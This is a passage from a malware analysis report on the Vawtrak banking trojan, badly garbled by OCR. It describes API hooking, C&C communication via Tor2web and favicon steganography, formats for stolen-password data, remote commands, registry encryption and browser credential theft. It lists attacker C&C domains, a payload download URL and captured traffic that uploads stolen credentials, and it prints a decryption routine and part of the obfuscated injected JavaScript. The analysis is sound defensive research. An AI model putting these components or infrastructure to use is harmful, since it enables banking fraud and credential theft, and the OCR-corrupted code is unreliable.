HECEERDE| 2925 Co2FCEGE CMP DWORD PTR DS:[EEZ2FE21,ESI
HECEERES | 74 B2 JE SHORT GHRSEEAES

HECEEHEE| S2ZCF 84 OR EDI, BEEEEGE4

HECEEREY| SEED BC Moy EEBX,OWORD PTR SS:L[EBP+EC]
HECEEREC) BEFF TEST EDI,EDI

HECEEREE) 74 22 JE SHORT GHRSEEEB22

BECEERFE) 53 FUSH EBX

HECEERFL) FFLE 2291cDag CHLL DWORD PTR DS:[E09122]
HECEEAF Y| SDE44C 20BBEEEE) LEA EAX, [EAX#2+20]

BECEERFE| 58 FUSH ERX

HECEERFF| EZ2 eEE1G0GEGE CHLL B8ECECYZ

HESEEEES ) SEFE MO ESI, EAY

BECEEERE) 59 FOP ECX

HECEEEES| BEFE TEST EESI,ESI

HECEEEET) 74 12 JE SHORT GRSERE22

BECEEERE) 57 FUSH EDI

HECEEEGC) &2 FEEDEDEG FUSH EDBDFZ UNICODE ™ ~bpmagic="
HECEEELL) 52 FUSH EBX

HECEEELZ| &2 ZECHEDEG FUSH EDCAZ2 UNICODE "Heisiu™
HECEEELY) GE FUSH EEI

HECEEELZ) FFLE 12945068 CHLL DWORD PTR DS:[E094121
HECEEELE| 22C4 14 HOD ESP, 14

HESEEEZL| SEDE MO EBX,ES]

HESEEEZZ) BEVD 2C Moy EDI, OWORD PTR SS:L[EBP+2C]
BEEEEEZE| &7 FUSH EDI

GEEEEEZT| FFFE 28 FUSH DWORD FTR SS:[EEF+22]
GEEEEEZA| FFPE 24 FUSH DWORD FTR SS:[EEF+241]
GEEEEEZD| FFFE 28 FUSH DWORD FTR SS:[EEF+281]
GEEEEEZE) FFFE 1C FUSH DWORD FTR SS:[EEF+1C]
GEEEEEZ2) FFPE 18 FUSH DWORD FTR SS:[EEF+121]
GEEEEEZE| FFPE 14 FUSH DWORD FTR SS:[EEF+141]
GEEEEEZ2) FFFE 1@ FUSH DWORD FPTR SS5:[EEBF+181
BEEEEE2C) 53 FUSH EBX

GEEEEEZD| FEVE @2 FUSH DWORD FPTR SS:[EEF+2]
CECEEESA] FEIC ICTICERR CALL [WOED FTE DS: [EEZIICT
GEtEER4e] SEDE MOL EBEX, ERY

Figure 20 - Detail of the hooking function.

After its execution, it uses the backed-up code (on address 0x005BBB40) to return to the original
API function CreateProcessW (address 0x75902052).

GEZAEAZE

BE24EE81e| SEBFF
BEz24EE12| 55
BEz4EE1%) SBEC
BEZ4EE1E| 98
GEz4Ea1c| 98
GEz4Ea10| 98
BEZ4EE1E|l 98
BEZ4EE1F| 98
BEZ4EE28| 98
BEZ4EE21| 98
BEZ4EE22| 98
BEZ4EE23| 98
BEZ4E6E24| 98
BEZ4EE25| 98
BEZ4EE26| 98
BEZ4EEZT| 98
BEZ4EE22| 98
BEZ4EE23| 98
BEZ4EE2A| 98
BEZ4EE2ZE| 98
BEZ4EE2C| 98
BEz4EE20| 98
BEZ4EE2ZE| 98
BEZ4EE2F| 98
BEZ4EE38| 98
BEZ4EE231| 98
BEZ4EE32| 98
BEZ4EE32| 98
BEZ4E6E34| 98

HMOW EDI,EDI
FUZH EEFP
MO EEF,ESP
MOP

il
JHP kernel32. FEIRZEES

HEZEEZE

28
HEZ4HESE | ~E9 1 F2BECTE
SEFF

MO EDT, EDT

Figure 21 - Backed-up code of the hooked function.
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3.4 Communication with C&C

All communication with C&C servers is done via the HTTP protocol. The list of remote C&C servers
is stored as a XOR-encrypted sequence of bytes in the data section of the DLL module.
Decryption occurs by using the aforementioned LCG-based algorithm and a different hardcoded
seed value for every stored server name. To make the decryption a little bit more complicated for
researchers, the author encrypted each server name 10-times. Some of the extracted C&C server
names from the analyzed samples are:

http://tewingal.ru

http://starweltfary.ru
http://altewing.com
http://humanirest.com
http://soplino.com
http://blevanto.com
http://monitruby.com
http://poxmelo.com
http://heehak.su

Furthermore, each sample has a different list of servers that contain updated lists of live C&Cs:

https://otsaa35gxbcwvrgs. tor2web.org
https://4bpthx5z4e7négnb. tor2web.org
https://bc3ywvifdm3lnwdo. tor2web.org
https://llgerwdplyyff446.tor2web.org

As we can see, those update servers are hosted on the Tor hidden Web services and they are

accessed via a Tor2web?° proxy without a need to install any special software such as
Torbrowser. Moreover, the communication with the remote server is done over SSL, which adds
further encryption.

The list of servers can be updated by a file obtained from those update C&Cs. Vawtrak’s author(s)
made the detection of such communication with its servers more difficult by communicating only
while the user is browsing the Internet (i.e. while a browser produces a network traffic).
Furthermore, Vawtrak uses steganography21 to hide those update lists inside the favicons? on
the update servers. Therefore, the download does not seem suspicious at first sight. The size of
each favicon is approximately 4 kB, but it is enough to carry an update file hidden in its least-
significant bits (LSB).

Figure 22 - Enlarged favicon containing a hidden server list.

20 https://tor2web.org/
2! https://en.wikipedia.org/wiki/Steganography
22 https://en.wikipedia.org/wiki/Favicon
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g8p0eeEA: B0 B0 91 689 681 69 29 20|60 68 61 68 280 @B A8 18 | ...... ceee

000pOB10: 00 00 16 00 00 OO 28 00|00 0D 20 DO 0D 60 40 60 | ...... U
00060620: 00 00 61 00 20 B0 00 00|60 00 80 10 00 80 12 OB | ... .....ooao..
800BOB38: 0A 08 12 OB 08 B0 0O 08|60 68 B8 B0 B8 B8 FE FE | - .oocueneoon. tt
800000640: FF FF FF FF FF FF FF FF|FF FF FE FE FE FF FF FE | """ " """ Lttt

1111111111000110 - LSB

Figure 23 - Extraction of LSB from an icon file.

Moreover, the hidden content is once again encrypted with the same encryption algorithm.

The following figures illustrate two decrypted messages containing updated C&C server lists.
Addresses of new C&C servers are marked red.

geBeaaea: FC 11 38 68 9D C5 3A D6|B6 F7 4A 29 EB 5B 3D OF
gooeop1a: 78 EC 9A D4 C6 81 E1 A7|AC %A F3 FB 7F 7A 1D 36
geBeaaza: 14 E2 65 E1 3F 6C 6D FF|43 7A 83 BC AC BB 2C B2
goee0030: B3 9B FB FE EA B1 E1 D3|5C 98 C6 22 9FE 85 C? M1
gooeooua: 79 98 6F 2B 51 59 98 2C|EA 8A 68 B? BB A% 1 24
geeeaasa8: 3B BD F1 DD 2A 4A 4A B3 |A1 EZ2 BB 6A 29 21 36 DB
goee0a6a: E2 DB E8 BD 15 74 4F BS|BE B3 30 EF SB 63 98 4D
g88eaa78: A1 6B 32 47 DB BS 98 26|E? 46 AD C4 F9 49 69 18
gooeooga: 19 AS B3 45 11 31 3B 38|2E 31 32 37 2E 32 34 39
ge8eaa%8: 2E 31 31 39 600 60 12 @0|E3 EA 98 7C EB F3 12 @0
g00000AB: 38 G0 00 00 38 00 00 0O|BC 02 69 0O 61 0O A0 60
0880ABEA: FC &F B3 E1 34 60 B89 60|80 68 88 64 B8 29 SF 60
g00e00CA: 6D G0 00 00 B8 62 00 00|30 06 D6 77 1B B3 D4 77
geeeaapa: 28 F4 12 60 BA B2 B0 A0|2C 68 88 B4 E3 94 D4 77
000000EG: 90 15 D7 77 D2 61 91 60|68D> 00 69 0O 84 61 60 60
088008FB8: FA F4 12 68 3A 86 D6 77|B3 62 88 0A 88 BA @88 B0
go0e0108: 6D 600 60 00 BO 29 5F 00|80 42 62 0O 80 Fu4 12 60
geeea118: 93 A1 D6 77 B7 60 80 60| 8D 68 88 B4 84 81 68 64
ge8e0128: 49 22 E1 42 21 C? 8B DO|B8 52 13 A? D6 F3 22 AC
ge08e0130: 2 91 78 7B A1 FB OF BO|FC 81 FF D5 DF A 7B FA
geBea148: 48 A2 52 B4 BE 7D DC 11|81 16 AF B4 F2 EC 4E EB

ii.8_tL:iq:DE[=.
#8506 . a5-25iiNz.6
.3e3d71nlcz.%-. ,,
¥:iite+30\ .6 3 En
y.o+0v. e 200
Av Al A ) el
SRE”.t0.2¥ed[c.H
“ K26 . &EF-AOT.
.A.E.188.127.249
.119....3e.|€0..

* xg~{_Wi. dp_{d
H R T} ... 2" figNg

geeeo158: 70 3IF BO 1E 5F Fu4 1B 46|81 CD 14 19 63 F5 BA 2A p?“.tﬁ.F.i..cﬁg*
geBeA168: 63 AE BC 97 CE 2B F3 8aA|D? 3D 89 1C 1B 65 72 D4 cB.-T+6.0=_..eri
ge@ee178: F4 67 91 16 15 69 8L BE|38 3D ED 66 2E 78 20 A1 dge....re=iF.x ~
g88eA1868: 61 88 88 688 3C FC 12 68|38 32 88 18 BC FA 12 B0 ...l .82, Ed..
g0000198: AO 86 19 00 AD 86 19 00|20 00 69 0O 20 DO A0 60 LI S

o

A..%...%...|d..
. @ii...alwn.1.
£ ¢/Yu, YuFrilu
I"Yw........ e
¢/Yw, Yu....Cil..

d000081A\B: B0 B0 B9 60 AG 96 1A B8|98 B3 19 60 BO 84 19 B8
g00001EG: AG AS 1B 60 58 88 17 00|58 88 19 0O 7C FA 12 60
g06481CH8: 88 FA 12 688 48 FC 12 @815 E1 55 77 6E 81 ED 88
geeeo1De: FE FF FF FF E7 2F 59 77|82 2E 59 77 F8 72 C3 75
008481EB: 49 A1 59 77 09 09 09 00|60 60 60 88 FE FF FF FF
g8@eo1Fe: EF 2F 59 77 B2 2E 59 77|6D 00 60 0O CB FB 12 60

Figure 24 - Update of the server list #1.
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ggageana: B? 18 38 68 18 21 69 77|FB C1 48 3C F5 8B BA DY
goeeee10: BD 48 57 E1 FF 7F 25 A1|6F D4 35 38 D9 C5 DE 62
gea@ee?e8: BB C2 47 57 82 2B AD B7|AAR B8 F7 BA 46 BD EB 2E
goeeea3n: 12 DE 53 8Aa 5C 2B 1D CA|EB 4E 86 B4 93 AA 53 1F
geageesB: 12 1E 28 85 F3 67 FF 34|8A 5B 4D A4 88 35 892 11
goeeees0: BE E4 17 94 63 85 BD 3B|B8 C6 E2 E3 EO 72 BB F9?
gea@easa: cc c1 17 C2 EC E2 686 2E|BC 18 56 ED 7A C1 54 BA
gpeeee70: BF 98 C4 9C 52 29 3E 2A|D4 1D 25 49 CF 88 A7 26
gea@ease: 43 9a 3D 12 2F 6C 6F 64|65 7A 68 6F 6C 64 65 6F
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Figure 25 - Update of the server list #2.

The server lists contained in those messages are digitally signed23 (the signature of MD5 hash is
stored in the first 128 bits) and verified by an RSA public key that is stored in Vawtrak’s binary.
Only the correctly signed messages are accepted. Vawtrak probably tries to avoid hijacking of its
botnet by someone sending a fake server list.

988306D30: 44 45 00 00 00 00 90 00|57 49 4E 49 4E 45 54 2E
88838D4A: 44 4C 4C 68 EB 21 83 18|86 62 88 64 88 A4 688 B0
g8836Dp58: 52 53 41 31 00 064 00 00|81 06 81 00 89 94 CE CB
g8\838p68: 1F D4 56 82 7D BB 26 2C|C4 1A 3E 64 D2 BE 7F EB
g8e836D78: F5 3D DF 6C BB AE 6B CC|C3 BY? A2 DY EC DE &2 7D

|

I ® RSA public key
|

98030D8A: 2B 54 1D 68 2F EA 11 CB|68 SA 48 20 7F 80 98 43 | [RTCHRATAN

|

|

|

|

|

|

.. ]
i=n.<BKERg~x&T

988306D0%8: F1 EF C4 6D CD 7D 95 BF |49 77 34 55 F4 4F 18 22 ndi . 13-21usubo.
g8B38DAA: 92 BE C7 25 B2 7B D2 99|DD EB AD 63 25 13 98 F2
g8830DEA: 69 CF BF E@ 93 9E 2F 58|24 35 46 05 AC BL4 E2 OF
88838DCA: CB C7 EA F4 AA 35 C3 B4|7A BB 66 3C BB 92 95 1A
gee83e6ppa: 82 53 19 EO 4E 4B D? D7|D6 FD DO DA G0 00 68 60
88838DEA: 11 688 88 EQ 46 27 BB 98|E1 BY BS 61 25 48 54 CF

. FF*® _&-pa%HTD
Figure 26 - Public key used for message verification.

After updating the list of C&C servers, each malware instance acts as a bot with a special bot ID,
which is computed from the first found MAC address XORed with a volume serial number of the
system drive. Afterwards, each bot registers itself to a randomly selected C&C server by sending
a POST/GET request, e.g.:

URI:
http://heehak.su/company/00/blog/0000011b/page/£12808e2

Where URI is generated based on an executable-specific template. E.g.:

23 https://en.wikipedia.org/wiki/Digital signature
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/company/{TYPE:Hb}/blog/{PROJECT ID:Hd}/page/{BOT_ID:Hd}, or

/collection/{PROJECT_ ID:Hd}/{TYPE:Hb}/{BOT_ID:Hd}

The elements in curly brackets represent identification of a particular infection, type of request,
and a type of malware campaign. e.g. the TYPE element:

code Request description

0x00 Keep-alive connection.
0x01 Form grabbing.
0x02 Request of a file (e.g. update).

Furthermore, content of these requests is also based on the particular DLL's instance. In the
earlier versions, the requests were not encrypted, e.g.:

id=%BOT_ID%-%UPDATE_VERSION%-0000&iv=%INSTALL VERSION%&av=%BUILD VERSION%&uptime=
$UPTIME%&info=%USER PRIVILAGES%-3%RAPPORT INSTALLED%-%OEM. . .%&proxy=%SYSTEM PROXY%
&name=%NetBIOS_COMPUTER NAME%&domain=%DOMAIN NAME$%

In recent samples, the requests are already encrypted and surrounded by a randomly generated
data, e.g.:

i 38 0.318189000 10.0.2.15 194.58.108.58 HTTP 362 POST rcompwmmhgwmilwpagemma H‘I’T‘Pifl.l (application/x-www-form-urlencoded)

=l Hypertext Tramsfer Protecol
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;qg=0.8r\n
Accept-Language: en-us;g=0.5,en;g=0.3r\n
Accept-Encoding: gzip, deflate‘\r\n
connection: keep-alive\rin
cache-Control: max-age=0%r\n
Content-Type: application/x-www-form-urlencoded\rn
user-agent: Mozi11a/5.0 (windows NT 6.1; Trident/7.0; rv:11.0) like Gecko\r'n
Host: heehak. suirin

Content-Length: 308\r\n

DNT: 1%r'n

Full request URI:

[HTTP reqguest 1,/3]

rResponse in frame: 200
Next request in frame: 276

= HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: 'Fuhxa = JBJBR

Form item: "Fu" = "26965"

Form item: "Ieco” = "12564"

Form item: "R" = "wasuHdul"

Form item: "PezubDowo" = "dgvkaDI2aH10RXvpqvlezc9ygvhNT34GxPeaM74MwbPZ 5VmMpQRETONUQKOhIDAL avWEoAWGE
Form item: "ve" "2300"

Form item: ' 810"

Form item: "waz" = "Milri”

Form item: "Qagp" = "Gezokjav"

Figure 27 - Registration to a C&C server.

In a very similar way, the bot sends gathered information to a server, which replies with an
HTTP/1.1 200 OK response.
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Follow TCP Stream (tcp.stream eq 20) ][] (S
Stream Content

POST /company/ol/h'log/nﬂnnnllb/ﬁtage/flzsnsez HTTP/1.1

accept: text/html,application/xhtml+xml,application/xm1;q=0.9,%/%;q=0.8
AcCept-Language: en-Us; g=0. 5,en;g=0.3

Accept-Encoding: gzip, flate

connection: keep-alive

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT ©.1; rv:33.0) Gecko,/20100101 Firefox/33.0
HOST: Ceikeee.su

Content-Length: 1064

KugmIwek=A11iHROdr pvasrxrt7vvPtLEBNkGEsRNMICTYH? DEtenHdQeCKytC9jEqZFDh] I84Ar dNS]cZvMMYRNIAZAXhD19Tggh/ /81
OECTAUVZEbV2QeXtyrCDObwoQ7XHBILTiCL1g4ky /wbhzUeC BHkSAHI6ZwWXYSpEQOSAMRLMGI ansuwWwR2r deEYHyp

+0w17HKG] vdf z0gHOKdSROBSQNDET S /1 cQOyuvkDIGequeszMekL IgvanvOyajTAQoDrCHDFLIMUhGXXVgUBQYTI62M0,/4Z1BIy0X
+91095NRUNO/DVKEF170YFV/T /zKZORhnwWr 2ams 2g4 91005g7 0y i+D9y T/ 1+eD3bOYRFEQiZdw

+5B53T81 067 FSwgox8D0utkZmDugD9HedoKg1toh7 hsigsv2AOMHOTGY /uQyr4svxXa7? Bbwkvha+ IRKnunmL c Tt XPWNAKNDY
+ce2H14FbPQro88+ofXINHNN3bIEaxE3VX0Kk¥2gYKp7 glwBoUtp//eHx1uijo0L,/

DTRQNZMwIIgguldk4knbo5SweejcddL BqIAKHZASQ6KwWVEaHb7GrBSpoggsTcugxympt /gvzco/

m3TEr RADCePPy 1 oMkMPeFdB 1 TWkIwXVsvddsxCgtd4vzT4wtve7 evdNOHI7 93 IvARKL 67 Foavr R x0mjoyCmUBFEZWSr gX0B0eM /
fpmr)lﬂ t07r1j3+8hnpdovE2CIII3IKF7ERIN/REEZppOQ 1 EWGMbESHT 7syugV/F:ib7Tj'i OND7X/pcVP7TSiF3xMOsaL 3ED

+Hht TVKEhOTf H+00XZRBFRXSMbEpVVsR3A+dckyAxXBnjeOhnbveYX7 kr OLWY181c zZ'IE
+av5jen]04uQec50FamTKHSYSBOYGWawyseOwk88mTkr OEXRRT ar Tjupeovax1cOx7wb4LxP211/fo4qHOGN YT E0CcNDEGIPY+7R
+TqoYtohQLn6IywiMgkuTN/HksIOXmR7FpDd1L4R/eect4a]jtgjBTaBFIpraMawy0IcISmat64CU+LENSSTOWZ XB

+LYsVw==&L ayoc=2177HTTP/1.1 200 OK

Server: nginx,/1.6.2

Date: Tue, 17 Mar 2015 14:31:32 GvMT

Content-Type: text/plain

Transfer-eEncoding: chunked

connection: keep-alive

2
ok
0
|Entire conversation (1650 bytes) |z|
[ End [ saveas ][ it © EBCDIC ) HexDump ) C Amays
l Filter om'rhissneam] ( Close |

Figure 28 - Upload of a stolen Gmail login credentials and a reply from a C&C server.

For sending the sniffed data to a C&C server, Vawtrak uses several internal recursive structures
that are depicted in the following figure.

itemsToSend

content

Figure 29 - Overview of Vawtrak structures used for communication with C&C.
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The inner container content holds any kind of data that Vawtrak can sniff, e.g. stolen passwords,
passwords sniffed in browsers, browser cookies packed in a TAR?* archive, screenshots. All the
content structures are stored in a double-linked list, where each item also specifies the type of
its content (e.g. screenshot, AVI file, passwords).

The sensitive information is stored in the aforementioned structure called (by its authors)
PWDFILEO (password file). Description of its structure is as follows:

Magic bytes: "PWDFILEQO"™ "1.0" (16 bytes)
n-times items:
Header:
Item magic: 0x02 0x00 'M' 'O' 'D' 'U' 0x01 0x01
Item size: XX XX xX xx (4 bytes)
Item enum: vy vy (2 bytes, e.g. FTP SmartFTP == 9)

Item padding: 0x00 0x00
n-times data:

Record type: OxBEEFXXXX (4 bytes)
Data... e.g.

<hostname size>

<hostname>

<login size>

<login>

<password size>

<password>

Figure 30 — Format of the PWDFILEO structure.

After all the records are filled into this structure, Vawtrak uses aPLib for compression and
probably for hiding the content as well. The authors call this compressed structure PKDFILEO
(packed file). Its structure is:

Magic bytes: "PKDFILEO" (8 bytes)

Size of uncompressed data: sizeof (PWDFILEO) (4 bytes)

Size of compressed data: sizeof (AP32pack (PWDFILEO)) (4 bytes)
Compressed data: AP32pack (PWDFILEO) (n bytes)
Checksum: CRC32 (AP32pack (PWDFILEO)) (4 bytes)

Figure 31 - Format of the PKDFILEO structure.

Each such item is sent separately to a C&C server in a new Vawtrak thread. At first, the complete
item is XOR-encrypted by an LCG-generated key. The seed value used for generation of this key
is also sent to the C&C server to decrypt the original item. Furthermore, the message sent to a
server also contains a parity of the seed value (seed XOR 0x11223344), i.e.:

LCG seed value (4 bytes)
parity of seed, i.e. seed xor 0x11223344 (4 bytes)
encrypted data (n bytes)

At the end, the message with an item is sent to a C&C server by using the aforementioned HTTP
methods GET or POST (based on contentType). The POST requests are sent as "Content-Type:
multipart/form-data", which is masked as sending a JPG/PNG/GIF file. The GET request looks
like this:

24 https://en.wikipedia.org/wiki/Tar %28computing%29
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ABCDE=123456ABCDE=123456ABCDE=123456=base64 (data) &4ABCDE=123456ABCDE=123456&

The prefix and suffix of the query string are randomly generated to confuse automatic analysis of
network traffic and the main content is BASE64-encoded in the middle of the query string.

3.5 C&C Commands

During analysis, we learned that the Vawtrak samples support several actions invoked by a
remote commands. These 1-byte commands are sent after the "ok" reply message from the C&C
server. Furthermore, the command may contain several arguments (e.g. URL, filename, registry
value name).

Server: nginx,/1.6.2r\n
Date: Thu, 12 Mar 2015 13:51:13 GMTAr'n
Content-Type: octet/stream'r'n

F Content-Length: 23279%r%n
Connection: keep-alive'rin
sl
[HTTF response 1,3]
[Time since request: 0.424576000 seconds]
[Reguest in frame: 38]
[Next request in frame: 276]
[Next response in frame: 5171

# Media Type

Qooo B 32 20 HTTF,/1.1

0010 [aEl be be . 5erver:

0020 g 65 54 .0.2..D0a

0030 30 20 12 mar

0040 E 0d ef 51:13 GM T..Conte
0050 (5= ef 65 octet/s
00ad g be be ontent-L
0070 (55 32 0d

Q0080 (5= 20

0090 (S [51+]

00aln | 68

00bD  [E5 bc

00cO el

0odo BN

00e0 6

oofo 4

0100

0110

Frame (613 bytes)| Reassembled TCP (23431 bytes)

Figure 32 - Reply from a C&C server.
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We discovered the following commands:

code Command description

0x00 Do nothing (empty command).

0x01 Execute a given command in a VNC server by using the API function WinExec.

0x02 Download an executable file from a given URL and execute it. This method is used for
updating, e.g.: "\x02...http://91.203.5.143/upd/28321d=40459327708&0=31&n=37"

0x03 Restart PC by using another VNC command.

0x04 Send a message (i.e. the structure item) containing cookies from Firefox, Internet
Explorer, Chrome, and Adobe Flash to a C&C server. All entries are stored in a TAR
archive and the archive is compressed by aPLib afterwards.

0x05 Send a message containing digital certificates to a C&C server. Packed in a TAR archive.
All these entries are stored in a TAR archive and the archive is compressed by aPLib
afterwards.

0x06 Send a message containing names and PIDs of all running processes (in the form:
"PID\tNAME\r\n") to a C&C server.

0x07 Delete browser history and cookies from Firefox, Internet Explorer, and Adobe Flash.

0x08 Send a message containing Vawtrak's debug log to a C&C server.

0x09 Set a registry value #kill (see below), i.e. terminate Vawtrak and/or restart system.

0x0A Start the SOCKS server with a given options.

0x0B  Stop the SOCKS server.

0x0C Start the VNC server with the given options (address, port). The attacker can use a VNC
for taking a full control of the infected machine; including logging into the internet
banking from the same location as is default for the victim and making the theft. The
VNC mode has its own set of commands, e.g. copy a clipboard data,
send/receive/execute a file, make screenshot, record an AVI file. For example, Vawtrak
is able to record several user actions within the AVI file (e.g. opened Windows, mouse
clicks). The C&C server specifies a length of recording (the maximum is 1 hour). The
recordings are stored in files $AppData%\%random%\fv %timestamp%.avi.

0x0D  Stop the VNC server.

0x0E Download a Vawtrak’s update as a DLL file. The file is digitally signed.

0xOF The same as previous + it restarts the system.

0x10 Execute a given file via the API function shellExecute.

0x11 Delete a given registry value used by Vawtrak for storing its configuration (see the next
subsection).

0x12 Invoke the Pony password stealing module and send the harvested login credentials to
a C&C server as an item containing the PKDFILEO structure.

0x13 Delete all registry values used by Vawtrak for storing its configuration (see the next
subsection).

0x14 Send a selected file to a remote C&C server. The aPLib compression is used. It sends
files from all system drives that match the given path and name.

0x15 Send a message containing history of visited pages from Firefox, Internet Explorer, and
Chrome to a C&C server. All entries are stored in an aPLib-compressed TAR archive.

0x16 Sent a message containing a list of recorded AVI files to a remote C&C server.

0x17 Sent a message containing a given AVI file to a remote C&C server.

0x18 Delete a given AVI file.

0x19 Set the #ssltimeout registry value (see below), i.e. set the communication timeout.

0x1A Download a VBS script from a given URL, execute it, and send the results to a C&C
server.
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3.6 Storing Configuration in Registry

Malware, as with any type of software, needs to store its settings in a persistent location, which
will remain even if the application is closed. The typical examples are Windows registry or
configuration files stored on disk. Vawtrak uses the first approach - it stores its settings in
registry keys: "HKEY CURRENT USER\SOFTWARE\{%RND-KEY%}", where the random key is 36-
characters long and generated by the LCG with the seed value obtained from the volume serial
number of the system drive.

i Registry Editor ===
File Edit Wiew Favorites Help
498 Computer Narme Type Data
b} HKEY_CLASSES ROOT at REG_SZ (value not set)
4-lJ0 HKEY_CURRENT_USER #%imnphldgod $cert REG_BIMARY 03
Pl ‘gppE"le”t‘ 54 jbnkimbdjfmf #botid REG_BINARY 42756 ec
i: : cz:::ﬂepana jpmicieaghjgfnohff  #fziltime REG_BINARY a54e6215
----- . Environment
b1 EUDC
B .. Identities
[~ | Keyboard Layout
----- . Network
B .. Printers
a- |, Software

.|| {3BOF475B-5E70-4403-85C0-50294C67663B}
. AppDatalow
. Classes

b . Clients

b . Microsoft
. Mozilla

: - Policies
b System
B .. Volatile Environment
[~ . HKEY_LOCAL_MACHINE
b}, HKEV_USERS

1>~ L HKEY_CURRENT_COMFIG

Computer\HKEY_CURRENT_USER\Software\{3B9F475B-5E70-4403-85C9-50294C67663B}

Figure 33 - Registry values crated by Vawtrak (decoded names are marked in red).

As we can see from the example, the registry value names and data are once again encrypted
(decrypted names are displayed in red). The decryption scheme is as follows. At first, the registry
value names (e.g. "jbnkimbdjfmf") are decrypted by using a simple substitution cipher. Each
letter (case-insensitive) represents one nibble of the resulting byte, e.g. 'a' represents nibble 0x0,
'b' stands for nibble 0x1,... 'p' is an encoded form of nibble 0xF. Therefore, the lengths of those
value names are always even to form a byte-aligned sequence.

In the next step, the decrypted byte sequences are once again decrypted by using the
aforementioned LCG-based XOR decrypter. The key for this decryption (i.e. value of the seed) is
the volume serial number of the system drive. For example, the registry value name
"Jbnkimbdjfmf" results in "#botid" when key 0x1C4BA7EB is used. The registry value data (e.g.
0x4E2756EC in the figure above) are XOR-decrypted via a different LCG-based key.

A simplified registry-value-name decryption algorithm is as follows.
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// main () function is only for illustration

int main (int argc, char *argv/[]) {
char decrypted[BUFFER SIZE] = { 0 };
unsigned int seed = 0x1C4BATEB;
// #cert
puts (decrypt (seed, "imnphldgod", decrypted))
// #botid

puts (decrypt (seed, "jbnkimbdjfmf", decrypted)):;

// #failtime

puts (decrypt (seed, "jpmlcjeaghjgfnohff", decrypted));
//

return O;

}

// e.g. "AB" => 0x01; "cd" => 0x23
char *decrypt (unsigned int seed, char *alphaCodedString, char *out) ({
memset (out, 0, BUFFER SIZE) ;
if (alpha2hex (alphaCodedString, strlen (alphaCodedString), out)) {
xorWithRND (seed, out, strlen(out));
return out;
}
else
return NULL;

}

// A =0; B=1; ...; O = 0xE; P = 0OxF
int alpha2hex (char *str, unsigned int strlLen, char *out) {
int index = 0;
char arr(4];
for (unsigned int i = 0; i < strLen; i += 2) {
for (unsigned int j = 0; j < 2; ++3) |
arr[Jj] = str[j+i];
if (arr([j] < 'a' [| arr[j] > 'p') {
if (arr[j] < 'A' || arr[j] > 'P")
return O;
arr[j] -= 'A';
} else {
arr[j] -= 'a';
}
}
out [index++] = arr[1l] + 0x10 * arr[O0];
}
return 1;

}

void xorWithRND (unsigned int seed, char *lpMem, unsigned int size) {
seed += size;
for (unsigned int i = 0; i < size; ++i) {
lpMem|[i] ~= random(&seed) ;

seed += lpMem[i];
}

unsigned int random(unsigned int *seed) ({
*seed = 0x343FD * *seed + 0x269EC3;
return (*seed >> 16) & Ox7FFF;

Figure 34 - Algorithm for decryption of registry value names.

e
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We detected the following registry value names with an approximate meaning:

e #botid - ID of the infected machine (bot) used for communication with a C&C server.

e f#cert - indication of a store (created via API function CertOpenSystemStoreA) with
duplicated user’s certificates.

e #cfgload - set to “1” for enabling automatic usage of a new configuration file stored in
the #config registry value.

e #config - stored configuration file from a C&C server. It is stored in the same form as
received, i.e. XOR-encrypted and compressed by aPLib. This protects its contents from

analysis.
e #dbgmsg — enables print of debug messages.
e #delfile "filename" - delete this file and the key afterwards; part of the start-up

registration and re-installation processes.

e #domain - settings with a list of C&C servers. It can be either the hard-coded list or one
obtained from any running C&C server.

e #failtime - time of the last unsuccessful attempt to obtain a config file from a C&C
server. It implies a new download attempt if more than 60 hours have passed.

e #FC_%crc% - the name specifies a CRC checksum of an archive with a stolen digital
certificate. The path to this archive is stored in registry value data.

e #FV_%timestamp% — the name specifies a timestamp (in seconds) of AVI recording of user
actions on desktop. The path to this file is stored in registry value data.

e #install - identification of the Vawtrak installed version.

e #kill - indicates a request from a C&C server to terminate Vawtrak and/or restart system
(e.g. update of Vawtrak executable).

e #socks — socks proxy server configuration (address and port).

e #ssltimeout — C&C communication timeout.

e #vnc - VNC server configuration (address and port).

3.7 Password Stealing

As we mentioned in the introduction, Vawtrak supports several
methods for stealing a user’s passwords. The first method is
based on monitoring the data sent by a web browser. The second
method is provided by the Pony password stealing module.

3.7.1 On-the-Fly Stealing inside the Browser

Stealing passwords from a web browser is done either by sniffing
the POST data that is sent by the user or via injected JavaScript
code in the visited web pages (e.g. Internet banking). We will
describe both of these techniques briefly because their detailed
description has been previously published®.

Shttp://www.sophos.com/en-us/medialibrary/PDFs/technical%?20papers/sophos-vawtrak-

international-crimeware-as-a-service-tpna.pdf
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Sniffing the POST requests

Vawtrak intercepts (via the hooked functions InternetSendRequestA, PR Write, etc.) all the
POST requests that are being sent by a browser. Whenever it detects a string inserted to a web
form of a predefined name (e.g. password, login), such values are copied together with a target
URL and they are sent to a C&C server (the aforementioned TYPE request code 0x01). The
original request is resumed, which makes the stealing process undetectable without a packet
analyzer.

Furthermore, Vawtrak has a built-in parser of the HTTP header fields and it can easily modify
such values.

Injection Frameworks

Furthermore, Vawtrak can be configured by a C&C server to inject certain JavaScript snippets into
the selected web pages (e.g. banks, social networks, web emails). Such code is inserted into the
predefined locations and it invokes the EQFramework JavaScript code that is embedded inside
Vawtrak’s DLL. This code is obfuscated to make its analysis more difficult:

eval (function(p,a,c,k,e, r) {e=function (c) {return(c<a?'':e(parselnt(c/a)))+((c=c%a)
>35?String.fromCharCode (c+29) :c.toString(36)) };if (!''.replace(/"/,String)) {while(
c--)rle(c)l=k[c ]||e ) k=[function (e) {return rle]}];e=function() {return'\\w+'};c=
1};while(c--)if (k[c])p=p.replace (new RegExp ('"\\b'+e(c)+'\\b','g"'),klc]) ;return p}
('k N(3){0.F=7; O w= p,O 0=2;0.m=k(a,b,c,d){u f=W J();u g=0;u h=(y(d)==\"'G\')?t:gq;u
b=\"/\"+0.F+\"/\"+Q.V()+\'/\"+b;u i=p;o (h——q {0.w= p,f I=k () {C{o(f.A==4) {o(f.E!=H
| |£.x==\"=-\") {g.w=t;0(y(d)=="k") {d(t) }}z{o(f.x==\"+\") {g.w=g;o (y(d)=="k") {d(q) }}z
{g.w=f.x;0o(y(d)=="k"){d(f.x)}}}}}B( e){g w=t; O(y(d)——"k" {d )11 E.K(a,b,h);f.L(c
